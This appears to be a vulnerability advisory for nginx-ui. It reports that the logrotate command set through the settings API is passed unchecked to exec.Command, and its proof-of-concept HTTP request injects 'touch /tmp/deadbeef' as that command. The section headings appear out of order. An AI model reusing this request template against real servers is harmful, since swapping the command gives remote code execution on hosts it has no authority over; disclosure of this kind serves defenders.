When nginxui configures logrotate, it does not verify the input and directly passes it to exec.Command, causing arbitrary command execution.
POST /api/settings HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 779
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
Authorization: yourjwt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/json
Accept: application/json, text/plain, */*
sec-ch-ua-platform: "macOS"
Origin: http://127.0.0.1:9000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:9000/
Accept-Encoding: gzip, deflate, br
Cookie: secure_session_id=undefined
Connection: keep-alive
{"auth":{"ip_white_list":null,"ban_threshold_minutes":10,"max_attempts":10},"logrotate":{"enabled":true,"cmd":"touch /tmp/deadbeef","interval":1},"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"d9963437-b0d9-4965-b8e9-159dfcf88f58","node_secret":"3367a303-daee-41a0-88a0-8dc89c930045","http_challenge_port":"9180","email":"[email protected]","database":"data","start_cmd":"login","ca_dir":"","demo":false,"page_size":10,"github_proxy":"","cert_renewal_interval":7,"recursive_nameservers":[],"skip_installation":false,"insecure_skip_verify":false,"name":""}}
Send the following data packets and observe that logrotate is executed on the terminal. The file deadbeef is successfully created in /tmp
Summary
Details
internal/logrotate/logrotate.go
Get the logrotate.cmd command from settings and pass it directly to exec.
api/settings/settings.go
Logrotate can be configured directly and is fully controllable.
PoC
Impact